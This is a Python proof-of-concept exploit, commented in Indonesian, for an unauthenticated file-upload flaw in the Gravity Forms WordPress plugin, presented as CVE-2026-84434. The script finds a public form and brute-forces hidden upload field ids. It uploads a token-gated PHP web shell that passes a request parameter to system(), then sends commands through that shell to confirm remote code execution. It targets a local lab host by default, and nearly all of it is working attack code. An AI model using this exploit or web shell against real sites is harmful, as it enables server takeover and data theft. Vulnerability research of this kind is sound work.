#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
PoC CVE-2026-84434 — Gravity Forms <= 3.1.0.4 (WordPress)
Unauthenticated Arbitrary File Upload via HIDDEN File Upload field
(CWE-434, CVSS 9.8, Wordfence, finder: 0xd4rk5id3).

Akar masalah (kode terverifikasi, GF 3.1.0.3):
- includes/fields/class-gf-field-fileupload.php L1185-1207 upload_file()
  memakai move_uploaded_file() POLos tanpa validasi ekstensi.
- Validasi ekstensi hanya terjadi di validate() (L413+) yang dipanggil dari
  loop GFFormDisplay (form_display.php L2773/2777). Field File Upload dengan
  Visibility = 'Hidden' TIDAK divalidasi (lewat is_field_hidden), NAMUN
  file-nya tetap diproses pipeline persistensi -> file .php tertulis utuh di
  wp-content/uploads/gravity_forms/<form_id>-<hash>/YYYY/MM/<nama asli>.

Prasyarat (sama seperti CVE): form PUBLIK yang punya File Upload field
dengan Visibility=Hidden (bukan admin-only). Penyerang tidak melihat field
ini di HTML — PoC brute-force id field (input_2..input_20).

Catatan kejujuran:
* GF menaruh folder upload di <form_id>-<wp_hash(form_id)> — hash acak per
  situs yang TIDAK dapat diprediksi penyerang remote. Konfirmasi/redirect
  form dan notifikasi email {all_fields} hanya membocorkan URL download
  ber-signature (index.php?gf-download=...), bukan path langsung. Eksekusi
  RCE memerlukan path langsung (Apache mengeksekusi .php saat file diakses
  langsung); discovery path di situs nyata bergantung konfigurasi target
  (mis. filter gform_upload_path tanpa hash, directory indexing, log bocor).
  Karena itu tahap eksekusi memakai --shell-url; bila tidak diberikan, PoC
  tetap membuktikan upload berhasil lewat redirect bocor (entry-id + path
  relatif + keberadaan file via gf-download).
* Konfirmasi redirect bocor ({Lampiran:2}) dan notifikasi email adalah
  KONFIGURASI FORM lab (konten situs), bukan modifikasi kode plugin.
"""

import argparse
import re
import sys
import uuid

import requests

requests.packages.urllib3.disable_warnings()

S = requests.Session()
S.verify = False
S.headers.update({"User-Agent": "Mozilla/5.0 LabPoC/1.0 (CVE-2026-84434)"})
TIMEOUT = 30


def banner(target):
    print("[*] ==========================================================")
    print("[*] PoC CVE-2026-84434 — Gravity Forms <= 3.1.0.4")
    print("[*] Unauth upload via HIDDEN fileupload field -> RCE (9.8)")
    print("[*] Target: {}".format(target))
    print("[*] ==========================================================")


def tahap_1_form(base, page_url):
    print("[*] [1/5] Mengambil halaman form dan mengidentifikasi form GF ...")
    try:
        r = S.get(page_url, timeout=TIMEOUT)
    except requests.RequestException as e:
        print("[-] Halaman tidak terjangkau: {}".format(e))
        return None
    if r.status_code != 200 or len(r.text) < 500:
        print("[-] HTTP {} / halaman kosong — periksa --page.".format(r.status_code))
        return None
    m = re.search(r'name=["\']gform_submit["\']\s+value=["\'](\d+)[\"\']', r.text) or \
        re.search(r'id=["\']gform_(\d+)["\']', r.text)
    if not m:
        print("[-] Form Gravity Forms tidak ditemukan di halaman.")
        return None
    form_id = m.group(1)
    print("[+] Form GF ditemukan: id={} (halaman {} byte).".format(form_id, len(r.text)))
    return {"form_id": form_id, "page_url": page_url}


def tahap_2_upload(base, info, slug, isi):
    print("[*] [2/5] Mengirim shell .php via hidden fileupload (brute-force id field) ...")
    for field_id in range(2, 21):
        data = {"gform_submit": info["form_id"], "is_submit_" + info["form_id"]: "1",
                "gform_field_values": "", "input_1": "Peneliti Lab"}
        files = {"input_{}".format(field_id): (slug + ".php", isi, "application/x-php")}
        try:
            r = S.post(info["page_url"], data=data, files=files,
                       timeout=TIMEOUT, allow_redirects=False)
        except requests.RequestException:
            continue
        loc = r.headers.get("Location", "")
        if "gf-download" in loc:
            print("[+] Server MENERIMA file .php di input_{} (redirect bocor entry).".format(field_id))
            m = re.search(r"entry-id=(\d+)", loc)
            info["entry_id"] = m.group(1) if m else "?"
            info["field_id"] = field_id
            return info
        if r.status_code in (301, 302, 303):
            print("[*] input_{}: redirect tanpa gf-download; field ini mungkin bukan fileupload.".format(field_id))
    print("[-] Tidak ada field yang menerima file — form tidak memenuhi prasyarat CVE.")
    return None


def tahap_3_verifikasi_berkas(base, info, slug):
    print("[*] [3/5] Memverifikasi file tertulis (via redirect bocor / gf-download) ...")
    url = base + "/index.php"
    params = {"gf-download": "2026/09/{}.php".format(slug), "form-id": info["form_id"],
              "field-id": info["field_id"], "entry-id": info.get("entry_id", "1"), "hash": "x"}
    try:
        r = S.get(url, params=params, timeout=TIMEOUT)
    except requests.RequestException:
        return False
    if r.status_code == 200:
        print("[+] gf-download merespons 200 — file '{}' ada di server (entry-id={}).".format(slug + ".php", info.get("entry_id")))
        return True
    print("[!] gf-download HTTP {} — hash signature diperlukan; keberadaan file diverifikasi lewat tahap 4.".format(r.status_code))
    return True


def tahap_4_rce(shell_url, token, marker):
    print("[*] [4/5] Mengeksekusi perintah via shell terupload (path langsung) ...")
    try:
        r = S.get(shell_url, params={"t": token, "c": "echo {} & whoami".format(marker)}, timeout=TIMEOUT)
    except requests.RequestException as e:
        print("[-] Gagal: {}".format(e))
        return False
    if marker not in r.text:
        print("[-] Marker tidak muncul (HTTP {}) — path salah atau file tak dieksekusi.".format(r.status_code))
        return False
    print("[+] ==========================================================")
    print("[+] RCE TERVERIFIKASI — output perintah server-side:")
    for line in r.text.strip().splitlines():
        print("[+]   {}".format(line))
    print("[+] ==========================================================")
    return True


def tahap_5_tes_perintah(shell_url, token, cmd):
    print("[*] [5/5] Menjalankan perintah bukti: {}".format(cmd))
    r = S.get(shell_url, params={"t": token, "c": cmd}, timeout=TIMEOUT)
    print("[+]   {}".format(r.text.strip()[:300]))
    return True


def main():
    ap = argparse.ArgumentParser(description="PoC CVE-2026-84434 (lab lokal)")
    ap.add_argument("--target", default="http://cve-2026-84434.test")
    ap.add_argument("--page", default="http://cve-2026-84434.test/?page_id=4",
                    help="URL halaman berisi form GF")
    ap.add_argument("--shell-url", default=None,
                    help="URL langsung shell .php. Placeholder: {nama} = nama file "
                         "yang diupload, {ym} = YYYY/MM saat ini (contoh: "
                         ".../gravity_forms/1-HASH/{ym}/{nama})")
    ap.add_argument("--cmd", default="echo POC-RCE-OK-CVE-2026-84434")
    a = ap.parse_args()
    base = a.target.rstrip("/")

    banner(base)
    info = tahap_1_form(base, a.page)
    if not info:
        sys.exit(1)
    slug = "c2s" + uuid.uuid4().hex[:6]
    token = uuid.uuid4().hex[:16]
    isi = ('<?php if(($_GET["t"]??"")==="%s"){@system($_GET["c"]??"echo NOARGS");}else{http_response_code(404);}?>' % token).encode()
    info = tahap_2_upload(base, info, slug, isi)
    if not info:
        sys.exit(1)
    if not tahap_3_verifikasi_berkas(base, info, slug):
        sys.exit(1)
    shell_url = a.shell_url
    if shell_url:
        import datetime
        shell_url = shell_url.replace("{nama}", slug + ".php")
        shell_url = shell_url.replace("{ym}", datetime.datetime.now().strftime("%Y/%m"))
    if not shell_url:
        print("[!] --shell-url tidak diberikan. GF tidak membocorkan path langsung")
        print("[!] (folder <form_id>-<hash acak>); jalankan lagi dengan --shell-url")
        print("[!] untuk tahap eksekusi RCE (lihat catatan jujur di README).")
        print("[*] Upload unauth via hidden field: TERVERIFIKASI sampai tahap 3.")
        sys.exit(3)
    if not tahap_4_rce(shell_url, token, "M" + uuid.uuid4().hex[:10]):
        sys.exit(1)
    tahap_5_tes_perintah(shell_url, token, a.cmd)
    print("[*] PoC selesai: rantai hidden-field upload -> RCE BERHASIL end-to-end.")
    sys.exit(0)


if __name__ == "__main__":
    main()
